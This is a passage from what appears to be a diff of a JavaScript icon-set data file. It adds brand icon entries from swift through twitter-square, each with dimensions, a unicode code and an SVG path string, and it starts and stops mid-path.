63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z" ], + swift: [ 448, 512, [], "f8e1", "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z" ], + symfony: [ 512, 512, [], "f83d", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z" ], + teamspeak: [ 512, 512, [], "f4f9", "M244.2 346.79c2.4-12.3-12-30-32.4-48.7-20.9-19.2-48.2-39.1-63.4-46.6-21.7-12-41.7-1.8-46.3 22.7-5 26.2 0 51.4 14.5 73.9 10.2 15.5 25.4 22.7 43.4 24 11.6.6 52.5 2.2 61.7-1 11.9-4.3 20.1-11.8 22.5-24.3zm205 20.8a5.22 5.22 0 0 0-8.3 2.4c-8 25.4-44.7 112.5-172.1 121.5-149.7 10.5 80.3 43.6 145.4-6.4 22.7-17.4 47.6-35 46.6-85.4-.4-10.1-4.9-26.69-11.6-32.1zm62-122.4c-.3-18.9-8.6-33.4-26-42.2-2.9-1.3-5-2.7-5.9-6.4A222.64 222.64 0 0 0 438.9 103c-1.1-1.5-3.5-3.2-2.2-5 8.5-11.5-.3-18-7-24.4Q321.4-31.11 177.4 13.09c-40.1 12.3-73.9 35.6-102 67.4-4 4.3-6.7 9.1-3 14.5 3 4 1.3 6.2-1 9.3C51.6 132 38.2 162.59 32.1 196c-.7 4.3-2.9 6-6.4 7.8-14.2 7-22.5 18.5-24.9 34L0 264.29v20.9c0 30.8 21 50.4 51.8 49 7.7-.3 11.7-4.3 12-11.5 2-77.5-2.4-95.4 3.7-125.8C92.1 72.39 234.3 5 345.3 65.39 411.4 102 445.7 159 447.6 234.79c.8 28.2 0 56.5 0 84.6 0 7 2.2 12.5 9.4 14.2 24.1 5 49.2-12 53.2-36.7 2.9-17.1 1-34.5 1-51.7zm-159.6 131.5c36.5 2.8 59.3-28.5 58.4-60.5-2.1-45.2-66.2-16.5-87.8-8-73.2 28.1-45 54.9-22.2 60.8z" ], + telegram: [ 496, 512, [], "f2c6", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm121.8 169.9l-40.7 191.8c-3 13.6-11.1 16.9-22.4 10.5l-62-45.7-29.9 28.8c-3.3 3.3-6.1 6.1-12.5 6.1l4.4-63.1 114.9-103.8c5-4.4-1.1-6.9-7.7-2.5l-142 89.4-61.2-19.1c-13.3-4.2-13.6-13.3 2.8-19.7l239.1-92.2c11.1-4 20.8 2.7 17.2 19.5z" ], + "telegram-plane": [ 448, 512, [], "f3fe", "M446.7 98.6l-67.6 318.8c-5.1 22.5-18.4 28.1-37.3 17.5l-103-75.9-49.7 47.8c-5.5 5.5-10.1 10.1-20.7 10.1l7.4-104.9 190.9-172.5c8.3-7.4-1.8-11.5-12.9-4.1L117.8 284 16.2 252.2c-22.1-6.9-22.5-22.1 4.6-32.7L418.2 66.4c18.4-6.9 34.5 4.1 28.5 32.2z" ], + "tencent-weibo": [ 384, 512, [], "f1d5", "M72.3 495.8c1.4 19.9-27.6 22.2-29.7 2.9C31 368.8 73.7 259.2 144 185.5c-15.6-34 9.2-77.1 50.6-77.1 30.3 0 55.1 24.6 55.1 55.1 0 44-49.5 70.8-86.9 45.1-65.7 71.3-101.4 169.8-90.5 287.2zM192 .1C66.1.1-12.3 134.3 43.7 242.4 52.4 259.8 79 246.9 70 229 23.7 136.4 91 29.8 192 29.8c75.4 0 136.9 61.4 136.9 136.9 0 90.8-86.9 153.9-167.7 133.1-19.1-4.1-25.6 24.4-6.6 29.1 110.7 23.2 204-60 204-162.3C358.6 74.7 284 .1 192 .1z" ], + "the-red-yeti": [ 512, 512, [], "f69d", "M488.23 241.7l20.7 7.1c-9.6-23.9-23.9-37-31.7-44.8l7.1-18.2c.2 0 12.3-27.8-2.5-30.7-.6-11.3-6.6-27-18.4-27-7.6-10.6-17.7-12.3-30.7-5.9a122.2 122.2 0 0 0-25.3 16.5c-5.3-6.4-3 .4-3-29.8-37.1-24.3-45.4-11.7-74.8 3l.5.5a239.36 239.36 0 0 0-68.4-13.3c-5.5-8.7-18.6-19.1-25.1-25.1l24.8 7.1c-5.5-5.5-26.8-12.9-34.2-15.2 18.2-4.1 29.8-20.8 42.5-33-34.9-10.1-67.9-5.9-97.9 11.8l12-44.2L182 0c-31.6 24.2-33 41.9-33.7 45.5-.9-2.4-6.3-19.6-15.2-27a35.12 35.12 0 0 0-.5 25.3c3 8.4 5.9 14.8 8.4 18.9-16-3.3-28.3-4.9-49.2 0h-3.7l33 14.3a194.26 194.26 0 0 0-46.7 67.4l-1.7 8.4 1.7 1.7 7.6-4.7c-3.3 11.6-5.3 19.4-6.6 25.8a200.18 200.18 0 0 0-27.8 40.3c-15 1-31.8 10.8-40.3 14.3l3 3.4 28.8 1c-.5 1-.7 2.2-1.2 3.2-7.3 6.4-39.8 37.7-33 80.7l20.2-22.4c.5 1.7.7 3.4 1.2 5.2 0 25.5.4 89.6 64.9 150.5 43.6 40 96 60.2 157.5 60.2 121.7 0 223-87.3 223-211.5 6.8-9.7-1.2 3 16.7-25.1l13 14.3 2.5-.5A181.84 181.84 0 0 0 495 255a44.74 44.74 0 0 0-6.8-13.3zM398 111.2l-.5 21.9c5.5 18.1 16.9 17.2 22.4 17.2l-3.4-4.7 22.4-5.4a242.44 242.44 0 0 1-27 0c12.8-2.1 33.3-29 43-11.3 3.4 7.6 6.4 17.2 9.3 27.8l1.7-5.9a56.38 56.38 0 0 1-1.7-15.2c5.4.5 8.8 3.4 9.3 10.1.5 6.4 1.7 14.8 3.4 25.3l4.7-11.3c4.6 0 4.5-3.6-2.5 20.7-20.9-8.7-35.1-8.4-46.5-8.4l18.2-16c-25.3 8.2-33 10.8-54.8 20.9-1.1-5.4-5-13.5-16-19.9-3.2 3.8-2.8.9-.7 14.8h-2.5a62.32 62.32 0 0 0-8.4-23.1l4.2-3.4c8.4-7.1 11.8-14.3 10.6-21.9-.5-6.4-5.4-13.5-13.5-20.7 5.6-3.4 15.2-.4 28.3 8.5zm-39.6-10.1c2.7 1.9 11.4 5.4 18.9 17.2 4.2 8.4 4 9.8 3.4 11.1-.5 2.4-.5 4.3-3 7.1-1.7 2.5-5.4 4.7-11.8 7.6-7.6-13-16.5-23.6-27.8-31.2zM91 143.1l1.2-1.7c1.2-2.9 4.2-7.6 9.3-15.2l2.5-3.4-13 12.3 5.4-4.7-10.1 9.3-4.2 1.2c12.3-24.1 23.1-41.3 32.5-50.2 9.3-9.3 16-16 20.2-19.4l-6.4 1.2c-11.3-4.2-19.4-7.1-24.8-8.4 2.5-.5 3.7-.5 3.2-.5 10.3 0 17.5.5 20.9 1.2a52.35 52.35 0 0 0 16 2.5l.5-1.7-8.4-35.8 13.5 29a42.89 42.89 0 0 0 5.9-14.3c1.7-6.4 5.4-13 10.1-19.4s7.6-10.6 9.3-11.3a234.68 234.68 0 0 0-6.4 25.3l-1.7 7.1-.5 4.7 2.5 2.5C190.4 39.9 214 34 239.8 34.5l21.1.5c-11.8 13.5-27.8 21.9-48.5 24.8a201.26 201.26 0 0 1-23.4 2.9l-.2-.5-2.5-1.2a20.75 20.75 0 0 0-14 2c-2.5-.2-4.9-.5-7.1-.7l-2.5 1.7.5 1.2c2 .2 3.9.5 6.2.7l-2 3.4 3.4-.5-10.6 11.3c-4.2 3-5.4 6.4-4.2 9.3l5.4-3.4h1.2a39.4 39.4 0 0 1 25.3-15.2v-3c6.4.5 13 1 19.4 1.2 6.4 0 8.4.5 5.4 1.2a189.6 189.6 0 0 1 20.7 13.5c13.5 10.1 23.6 21.9 30 35.4 8.8 18.2 13.5 37.1 13.5 56.6a141.13 141.13 0 0 1-3 28.3 209.91 209.91 0 0 1-16 46l2.5.5c18.2-19.7 41.9-16 49.2-16l-6.4 5.9 22.4 17.7-1.7 30.7c-5.4-12.3-16.5-21.1-33-27.8 16.5 14.8 23.6 21.1 21.9 20.2-4.8-2.8-3.5-1.9-10.8-3.7 4.1 4.1 17.5 18.8 18.2 20.7l.2.2-.2.2c0 1.8 1.6-1.2-14 22.9-75.2-15.3-106.27-42.7-141.2-63.2l11.8 1.2c-11.8-18.5-15.6-17.7-38.4-26.1L149 225c-8.8-3-18.2-3-28.3.5l7.6-10.6-1.2-1.7c-14.9 4.3-19.8 9.2-22.6 11.3-1.1-5.5-2.8-12.4-12.3-28.8l-1.2 27-13.2-5c1.5-25.2 5.4-50.5 13.2-74.6zm276.5 330c-49.9 25-56.1 22.4-59 23.9-29.8-11.8-50.9-31.7-63.5-58.8l30 16.5c-9.8-9.3-18.3-16.5-38.4-44.3l11.8 23.1-17.7-7.6c14.2 21.1 23.5 51.7 66.6 73.5-120.8 24.2-199-72.1-200.9-74.3a262.57 262.57 0 0 0 35.4 24.8c3.4 1.7 7.1 2.5 10.1 1.2l-16-20.7c9.2 4.2 9.5 4.5 69.1 29-42.5-20.7-73.8-40.8-93.2-60.2-.5 6.4-1.2 10.1-1.2 10.1a80.25 80.25 0 0 1 20.7 26.6c-39-18.9-57.6-47.6-71.3-82.6 49.9 55.1 118.9 37.5 120.5 37.1 34.8 16.4 69.9 23.6 113.9 10.6 3.3 0 20.3 17 25.3 39.1l4.2-3-2.5-23.6c9 9 24.9 22.6 34.4 13-15.6-5.3-23.5-9.5-29.5-31.7 4.6 4.2 7.6 9 27.8 15l1.2-1.2-10.5-14.2c11.7-4.8-3.5 1 32-10.8 4.3 34.3 9 49.2.7 89.5zm115.3-214.4l-2.5.5 3 9.3c-3.5 5.9-23.7 44.3-71.6 79.7-39.5 29.8-76.6 39.1-80.9 40.3l-7.6-7.1-1.2 3 14.3 16-7.1-4.7 3.4 4.2h-1.2l-21.9-13.5 9.3 26.6-19-27.9-1.2 2.5 7.6 29c-6.1-8.2-21-32.6-56.8-39.6l32.5 21.2a214.82 214.82 0 0 1-93.2-6.4c-4.2-1.2-8.9-2.5-13.5-4.2l1.2-3-44.8-22.4 26.1 22.4c-57.7 9.1-113-25.4-126.4-83.4l-2.5-16.4-22.27 22.3c19.5-57.5 25.6-57.9 51.4-70.1-9.1-5.3-1.6-3.3-38.4-9.3 15.8-5.8 33-15.4 73 5.2a18.5 18.5 0 0 1 3.7-1.7c.6-3.2.4-.8 1-11.8 3.9 10 3.6 8.7 3 9.3l1.7.5c12.7-6.5 8.9-4.5 17-8.9l-5.4 13.5 22.3-5.8-8.4 8.4 2.5 2.5c4.5-1.8 30.3 3.4 40.8 16l-23.6-2.5c39.4 23 51.5 54 55.8 69.6l1.7-1.2c-2.8-22.3-12.4-33.9-16-40.1 4.2 5 39.2 34.6 110.4 46-11.3-.5-23.1 5.4-34.9 18.9l46.7-20.2-9.3 21.9c7.6-10.1 14.8-23.6 21.2-39.6v-.5l1.2-3-1.2 16c13.5-41.8 25.3-78.5 35.4-109.7l13.5-27.8v-2l-5.4-4.2h10.1l5.9 4.2 2.5-1.2-3.4-16 12.3 18.9 41.8-20.2-14.8 13 .5 2.9 17.7-.5a184 184 0 0 1 33 4.2l-23.6 2.5-1.2 3 26.6 23.1a254.21 254.21 0 0 1 27 32c-11.2-3.3-10.3-3.4-21.2-3.4l12.3 32.5zm-6.1-71.3l-3.9 13-14.3-11.8zm-254.8 7.1c1.7 10.6 4.7 17.7 8.8 21.9-9.3 6.6-27.5 13.9-46.5 16l.5 1.2a50.22 50.22 0 0 0 24.8-2.5l-7.1 13c4.2-1.7 10.1-7.1 17.7-14.8 11.9-5.5 12.7-5.1 20.2-16-12.7-6.4-15.7-13.7-18.4-18.8zm3.7-102.3c-6.4-3.4-10.6 3-12.3 18.9s2.5 29.5 11.8 39.6 18.2 10.6 26.1 3 3.4-23.6-11.3-47.7a39.57 39.57 0 0 0-14.27-13.8zm-4.7 46.3c5.4 2.2 10.5 1.9 12.3-10.6v-4.7l-1.2.5c-4.3-3.1-2.5-4.5-1.7-6.2l.5-.5c-.9-1.2-5-8.1-12.5 4.7-.5-13.5.5-21.9 3-24.8 1.2-2.5 4.7-1.2 11.3 4.2 6.4 5.4 11.3 16 15.2 32.5 6.5 28-19.8 26.2-26.9 4.9zm-45-5.5c1.6.3 9.3-1.1 9.3-14.8h-.5c-5.4-1.1-2.2-5.5-.7-5.9-1.7-3-3.4-4.2-5.4-4.7-8.1 0-11.6 12.7-8.1 21.2a7.51 7.51 0 0 0 5.43 4.2zM216 82.9l-2.5.5.5 3a48.94 48.94 0 0 1 26.1 5.9c-2.5-5.5-10-14.3-28.3-14.3l.5 2.5zm-71.8 49.4c21.7 16.8 16.5 21.4 46.5 23.6l-2.9-4.7a42.67 42.67 0 0 0 14.8-28.3c1.7-16-1.2-29.5-8.8-41.3l13-7.6a2.26 2.26 0 0 0-.5-1.7 14.21 14.21 0 0 0-13.5 1.7c-12.7 6.7-28 20.9-29 22.4-1.7 1.7-3.4 5.9-5.4 13.5a99.61 99.61 0 0 0-2.9 23.6c-4.7-8-10.5-6.4-19.9-5.9l7.1 7.6c-16.5 0-23.3 15.4-23.6 16 6.8 0 4.6-7.6 30-12.3-4.3-6.3-3.3-5-4.9-6.6zm18.7-18.7c1.2-7.6 3.4-13 6.4-17.2 5.4-6.4 10.6-10.1 16-11.8 4.2-1.7 7.1 1.2 10.1 9.3a72.14 72.14 0 0 1 3 25.3c-.5 9.3-3.4 17.2-8.4 23.1-2.9 3.4-5.4 5.9-6.4 7.6a39.21 39.21 0 0 1-11.3-.5l-7.1-3.4-5.4-6.4c.8-10 1.3-18.8 3.1-26zm42 56.1c-34.8 14.4-34.7 14-36.1 14.3-20.8 4.7-19-24.4-18.9-24.8l5.9-1.2-.5-2.5c-20.2-2.6-31 4.2-32.5 4.9.5.5 3 3.4 5.9 9.3 4.2-6.4 8.8-10.1 15.2-10.6a83.47 83.47 0 0 0 1.7 33.7c.1.5 2.6 17.4 27.5 24.1 11.3 3 27 1.2 48.9-5.4l-9.2.5c-4.2-14.8-6.4-24.8-5.9-29.5 11.3-8.8 21.9-11.3 30.7-7.6h2.5l-11.8-7.6-7.1.5c-5.9 1.2-12.3 4.2-19.4 8.4z" ], + themeco: [ 448, 512, [], "f5c6", "M202.9 8.43c9.9-5.73 26-5.82 35.95-.21L430 115.85c10 5.6 18 19.44 18 30.86V364c0 11.44-8.06 25.29-18 31L238.81 503.74c-9.93 5.66-26 5.57-35.85-.21L17.86 395.12C8 389.34 0 375.38 0 364V146.71c0-11.44 8-25.36 17.91-31.08zm-77.4 199.83c-15.94 0-31.89.14-47.83.14v101.45H96.8V280h28.7c49.71 0 49.56-71.74 0-71.74zm140.14 100.29l-30.73-34.64c37-7.51 34.8-65.23-10.87-65.51-16.09 0-32.17-.14-48.26-.14v101.59h19.13v-33.91h18.41l29.56 33.91h22.76zm-41.59-82.32c23.34 0 23.26 32.46 0 32.46h-29.13v-32.46zm-95.56-1.6c21.18 0 21.11 38.85 0 38.85H96.18v-38.84zm192.65-18.25c-68.46 0-71 105.8 0 105.8 69.48-.01 69.41-105.8 0-105.8zm0 17.39c44.12 0 44.8 70.86 0 70.86s-44.43-70.86 0-70.86z" ], + themeisle: [ 512, 512, [], "f2b2", "M208 88.286c0-10 6.286-21.714 17.715-21.714 11.142 0 17.714 11.714 17.714 21.714 0 10.285-6.572 21.714-17.714 21.714C214.286 110 208 98.571 208 88.286zm304 160c0 36.001-11.429 102.286-36.286 129.714-22.858 24.858-87.428 61.143-120.857 70.572l-1.143.286v32.571c0 16.286-12.572 30.571-29.143 30.571-10 0-19.429-5.714-24.572-14.286-5.427 8.572-14.856 14.286-24.856 14.286-10 0-19.429-5.714-24.858-14.286-5.142 8.572-14.571 14.286-24.57 14.286-10.286 0-19.429-5.714-24.858-14.286-5.143 8.572-14.571 14.286-24.571 14.286-18.857 0-29.429-15.714-29.429-32.857-16.286 12.285-35.715 19.428-56.571 19.428-22 0-43.429-8.285-60.286-22.857 10.285-.286 20.571-2.286 30.285-5.714-20.857-5.714-39.428-18.857-52-36.286 21.37 4.645 46.209 1.673 67.143-11.143-22-22-56.571-58.857-68.572-87.428C1.143 321.714 0 303.714 0 289.429c0-49.714 20.286-160 86.286-160 10.571 0 18.857 4.858 23.143 14.857a158.792 158.792 0 0 1 12-15.428c2-2.572 5.714-5.429 7.143-8.286 7.999-12.571 11.714-21.142 21.714-34C182.571 45.428 232 17.143 285.143 17.143c6 0 12 .285 17.714 1.143C313.714 6.571 328.857 0 344.572 0c14.571 0 29.714 6 40 16.286.857.858 1.428 2.286 1.428 3.428 0 3.714-10.285 13.429-12.857 16.286 4.286 1.429 15.714 6.858 15.714 12 0 2.857-2.857 5.143-4.571 7.143 31.429 27.714 49.429 67.143 56.286 108 4.286-5.143 10.285-8.572 17.143-8.572 10.571 0 20.857 7.144 28.571 14.001C507.143 187.143 512 221.714 512 248.286zM188 89.428c0 18.286 12.571 37.143 32.286 37.143 19.714 0 32.285-18.857 32.285-37.143 0-18-12.571-36.857-32.285-36.857-19.715 0-32.286 18.858-32.286 36.857zM237.714 194c0-19.714 3.714-39.143 8.571-58.286-52.039 79.534-13.531 184.571 68.858 184.571 21.428 0 42.571-7.714 60-20 2-7.429 3.714-14.857 3.714-22.572 0-14.286-6.286-21.428-20.572-21.428-4.571 0-9.143.857-13.429 1.714-63.343 12.668-107.142 3.669-107.142-63.999zm-41.142 254.858c0-11.143-8.858-20.857-20.286-20.857-11.429 0-20 9.715-20 20.857v32.571c0 11.143 8.571 21.142 20 21.142 11.428 0 20.286-9.715 20.286-21.142v-32.571zm49.143 0c0-11.143-8.572-20.857-20-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20-10 20-21.142v-32.571zm49.713 0c0-11.143-8.857-20.857-20.285-20.857-11.429 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.857 21.142 20.286 21.142 11.428 0 20.285-9.715 20.285-21.142v-32.571zm49.715 0c0-11.143-8.857-20.857-20.286-20.857-11.428 0-20.286 9.715-20.286 20.857v32.571c0 11.143 8.858 21.142 20.286 21.142 11.429 0 20.286-10 20.286-21.142v-32.571zM421.714 286c-30.857 59.142-90.285 102.572-158.571 102.572-96.571 0-160.571-84.572-160.571-176.572 0-16.857 2-33.429 6-49.714-20 33.715-29.714 72.572-29.714 111.429 0 60.286 24.857 121.715 71.429 160.857 5.143-9.714 14.857-16.286 26-16.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.571-14.286 24.858-14.286 10 0 19.428 5.714 24.571 14.286 5.429-8.571 14.857-14.286 24.858-14.286 10 0 19.428 5.714 24.857 14.286 5.143-8.571 14.571-14.286 24.572-14.286 10.857 0 20.857 6.572 25.714 16 43.427-36.286 68.569-92 71.426-148.286zm10.572-99.714c0-53.714-34.571-105.714-92.572-105.714-30.285 0-58.571 15.143-78.857 36.857C240.862 183.812 233.41 254 302.286 254c28.805 0 97.357-28.538 84.286 36.857 28.857-26 45.714-65.714 45.714-104.571z" ], + "think-peaks": [ 576, 512, [], "f731", "M465.4 409.4l87.1-150.2-32-.3-55.1 95L259.2 0 23 407.4l32 .3L259.2 55.6zm-355.3-44.1h32.1l117.4-202.5L463 511.9l32.5.1-235.8-404.6z" ], + tiktok: [ 448, 512, [], "e07b", "M448,209.91a210.06,210.06,0,0,1-122.77-39.25V349.38A162.55,162.55,0,1,1,185,188.31V278.2a74.62,74.62,0,1,0,52.23,71.18V0l88,0a121.18,121.18,0,0,0,1.86,22.17h0A122.18,122.18,0,0,0,381,102.39a121.43,121.43,0,0,0,67,20.14Z" ], + "trade-federation": [ 496, 512, [], "f513", "M248 8.8c-137 0-248 111-248 248s111 248 248 248 248-111 248-248-111-248-248-248zm0 482.8c-129.7 0-234.8-105.1-234.8-234.8S118.3 22 248 22s234.8 105.1 234.8 234.8S377.7 491.6 248 491.6zm155.1-328.5v-46.8H209.3V198H54.2l36.7 46h117.7v196.8h48.8V245h83.3v-47h-83.3v-34.8h145.7zm-73.3 45.1v23.9h-82.9v197.4h-26.8V232.1H96.3l-20.1-23.9h143.9v-80.6h171.8V152h-145v56.2zm-161.3-69l-12.4-20.7 2.1 23.8-23.5 5.4 23.3 5.4-2.1 24 12.3-20.5 22.2 9.5-15.7-18.1 15.8-18.1zm-29.6-19.7l9.3-11.5-12.7 5.9-8-12.4 1.7 13.9-14.3 3.8 13.7 2.7-.8 14.7 6.8-12.2 13.8 5.3zm165.4 145.2l-13.1 5.6-7.3-12.2 1.3 14.2-13.9 3.2 13.9 3.2-1.2 14.2 7.3-12.2 13.1 5.5-9.4-10.7zm106.9-77.2l-20.9 9.1-12-19.6 2.2 22.7-22.3 5.4 22.2 4.9-1.8 22.9 11.5-19.6 21.2 8.8-15.1-17zM248 29.9c-125.3 0-226.9 101.6-226.9 226.9S122.7 483.7 248 483.7s226.9-101.6 226.9-226.9S373.3 29.9 248 29.9zM342.6 196v51h-83.3v195.7h-52.7V245.9H89.9l-40-49.9h157.4v-81.6h197.8v50.7H259.4V196zM248 43.2c60.3 0 114.8 25 153.6 65.2H202.5V190H45.1C73.1 104.8 153.4 43.2 248 43.2zm0 427.1c-117.9 0-213.6-95.6-213.6-213.5 0-21.2 3.1-41.8 8.9-61.1L87.1 252h114.7v196.8h64.6V253h83.3v-62.7h-83.2v-19.2h145.6v-50.8c30.8 37 49.3 84.6 49.3 136.5.1 117.9-95.5 213.5-213.4 213.5zM178.8 275l-11-21.4 1.7 24.5-23.7 3.9 23.8 5.9-3.7 23.8 13-20.9 21.5 10.8-15.8-18.8 16.9-17.1z" ], + trello: [ 448, 512, [], "f181", "M392.3 32H56.1C25.1 32 0 57.1 0 88c-.1 0 0-4 0 336 0 30.9 25.1 56 56 56h336.2c30.8-.2 55.7-25.2 55.7-56V88c.1-30.8-24.8-55.8-55.6-56zM197 371.3c-.2 14.7-12.1 26.6-26.9 26.6H87.4c-14.8.1-26.9-11.8-27-26.6V117.1c0-14.8 12-26.9 26.9-26.9h82.9c14.8 0 26.9 12 26.9 26.9v254.2zm193.1-112c0 14.8-12 26.9-26.9 26.9h-81c-14.8 0-26.9-12-26.9-26.9V117.2c0-14.8 12-26.9 26.8-26.9h81.1c14.8 0 26.9 12 26.9 26.9v142.1z" ], + tumblr: [ 320, 512, [], "f173", "M309.8 480.3c-13.6 14.5-50 31.7-97.4 31.7-120.8 0-147-88.8-147-140.6v-144H17.9c-5.5 0-10-4.5-10-10v-68c0-7.2 4.5-13.6 11.3-16 62-21.8 81.5-76 84.3-117.1.8-11 6.5-16.3 16.1-16.3h70.9c5.5 0 10 4.5 10 10v115.2h83c5.5 0 10 4.4 10 9.9v81.7c0 5.5-4.5 10-10 10h-83.4V360c0 34.2 23.7 53.6 68 35.8 4.8-1.9 9-3.2 12.7-2.2 3.5.9 5.8 3.4 7.4 7.9l22 64.3c1.8 5 3.3 10.6-.4 14.5z" ], + "tumblr-square": [ 448, 512, [], "f174", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-82.3 364.2c-8.5 9.1-31.2 19.8-60.9 19.8-75.5 0-91.9-55.5-91.9-87.9v-90h-29.7c-3.4 0-6.2-2.8-6.2-6.2v-42.5c0-4.5 2.8-8.5 7.1-10 38.8-13.7 50.9-47.5 52.7-73.2.5-6.9 4.1-10.2 10-10.2h44.3c3.4 0 6.2 2.8 6.2 6.2v72h51.9c3.4 0 6.2 2.8 6.2 6.2v51.1c0 3.4-2.8 6.2-6.2 6.2h-52.1V321c0 21.4 14.8 33.5 42.5 22.4 3-1.2 5.6-2 8-1.4 2.2.5 3.6 2.1 4.6 4.9l13.8 40.2c1 3.2 2 6.7-.3 9.1z" ], + twitch: [ 512, 512, [], "f1e8", "M391.17,103.47H352.54v109.7h38.63ZM285,103H246.37V212.75H285ZM120.83,0,24.31,91.42V420.58H140.14V512l96.53-91.42h77.25L487.69,256V0ZM449.07,237.75l-77.22,73.12H294.61l-67.6,64v-64H140.14V36.58H449.07Z" ], + twitter: [ 512, 512, [], "f099", "M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253z" ], + "twitter-square": [ 448, 512, [], "f081", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-48.9 158.8c.2 2.8.2 5.7.2 8.5 0 86.7-66 186.6-186.6 186.6-37.2 0-71.7-10.8-100.7-29.4 5.3.6 10.4.8 15.8.8 30.7 0 58.9-10.4 81.4-28-28.8-.6-53-19.5-61.3-45.5 10.1 1.5 19.2 1.5 